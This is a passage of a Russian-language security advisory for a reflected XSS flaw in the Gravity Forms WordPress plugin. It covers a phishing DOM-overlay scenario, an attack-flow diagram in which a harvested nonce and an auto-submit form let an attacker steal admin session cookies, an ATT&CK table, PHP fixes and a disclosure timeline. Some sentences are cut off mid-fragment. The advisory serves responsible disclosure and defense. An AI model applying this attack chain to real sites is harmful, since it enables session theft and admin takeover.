### Сценарий 3: Захват DOM для фишинга
Отражённый XSS может заменить весь DOM страницы убедительной фишинговой накладкой (например, поддельной страницей входа или сообщением об истечении сеанса), чтобы напрямую собирать учётные данные.
---
## Порядок атаки```
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐
│ Attacker │ ──────────────────────────────► Target WordPress │
│ (External) │ ◄────────────────────────────── (Gravity Forms) │
│ │ 2. HTML with config_nonce │ │
│ │ │ │
│ │ 3. Craft malicious page │ │
│ │ with auto-submit form │ │
│ │ │ │
│ ┌────────┐ │ 4. Send link to victim │ │
│ │Malicious│ │ ───────────────────────► │ │
│ │ Page │ │ ┌───────┴──┐ │
│ └────────┘ │ │ Victim │ │
│ │ │ (WP Admin)│ │
│ │ └───────┬──┘ │
│ │ 5. Victim's browser POSTs │ │
│ │ XSS payload with nonce │ │
│ │ ────────►│ │
│ │ 6. Server reflects payload │ │
│ │ unescaped in text/html │ │
│ │ ◄────────│ │
│ │ 7. JS executes in target │ │
│ │ origin (session context)│ │
│ │ │ │
│ │ ◄── 8. Exfil cookies/tokens ── │ │
└─────────────┘ └─────────────────┘
| Тактика | Техника | ID | Описание |
|---|---|---|---|
| Первоначальный доступ | Компрометация через браузер | T1189 | Жертва посещает страницу злоумышленника, на которой размещён механизм доставки XSS |
| Выполнение | Выполнение пользователем: вредоносная ссылка | T1204.001 | Жертва переходит по ссылке на страницу злоумышленника или перенаправляется на неё |
| Доступ к учётным данным | Кража cookie веб-сессии | T1539 | XSS-нагрузка похищает cookie сессии из браузера жертвы |
| Закрепление | Создание учётной записи | T1136.001 | Злоумышленник использует украденную административную сессию для создания резервной учётной записи администратора |
| Обход защиты | Злоупотребление механизмом контроля повышения привилегий | T1548 | XSS выполняется в контексте сессии привилегированного пользователя |
wordpress_logged_in_* и wordpress_sec_*) могут быть похищеныform_ids к целочисленному типу перед обработкой. Отклоняйте любые значения, не соответствующие ^[0-9]+$: ```php
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
wp_json_encode() с флагами JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT при формировании JSON-ответа, чтобы гарантировать экранирование значимых для HTML символов: ```php
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type ответа в application/json вместо text/html для всех AJAX JSON-ответов. Это предотвращает разбор ответа браузером как HTML, даже если в нём отражается несанитизированный контент: ```php
header('Content-Type: application/json; charset=UTF-8');
config_nonce к пользовательской сессии или внедрения ограничения скорости генерации nonce, чтобы повысить стоимость автоматизированной эксплуатации.args POST-запросов к admin-ajax.php, где action=gform_get_configscript-src (например, script-src 'self'), чтобы предотвратить выполнение встроенных скриптов даже при отражении| Дата | Событие |
|---|---|
| 2026-03-04 | Уязвимость обнаружена в ходе авторизованного пентеста |
| 2026-03-04 | Сообщено в Wordfence (CNA WordPress) |
| 2026-03-XX | Первоначальный отказ от Wordfence (ошибочно классифицировано как self-XSS) |
| 2026-03-XX | Повторная подача с рабочим POC и анализом nonce; решение пересмотрено |
| 2026-03-18 | Присвоен CVE-2026-4406 компанией Wordfence |
| 2026-03-18 | Вендор уведомлён через [email protected] |
| 2026-03-21 | Вендор подтвердил получение и предоставил горячий фикс (2.9.30.1) для проверки |
| 2026-04-02 | Патч проверен — подтверждено, что проверка входных данных absint() для form_ids и Content-Type: application/json устраняют уязвимость |
| 2026-04-02 | Уязвимость устранена |
Эта уязвимость была обнаружена в ходе авторизованного пентеста, проведённого в рамках подписанного технического задания с явным письменным разрешением. Все тесты выполнялись в пределах согласованного объёма, и результаты были немедленно сообщены клиенту после обнаружения. Данное раскрытие соответствует практике ответственного раскрытия. Несанкционированные системы не затрагивались, и никакие данные не были выведены за пределы контролируемой проверки proof-of-concept.
Обнаружил: Anthony Cihan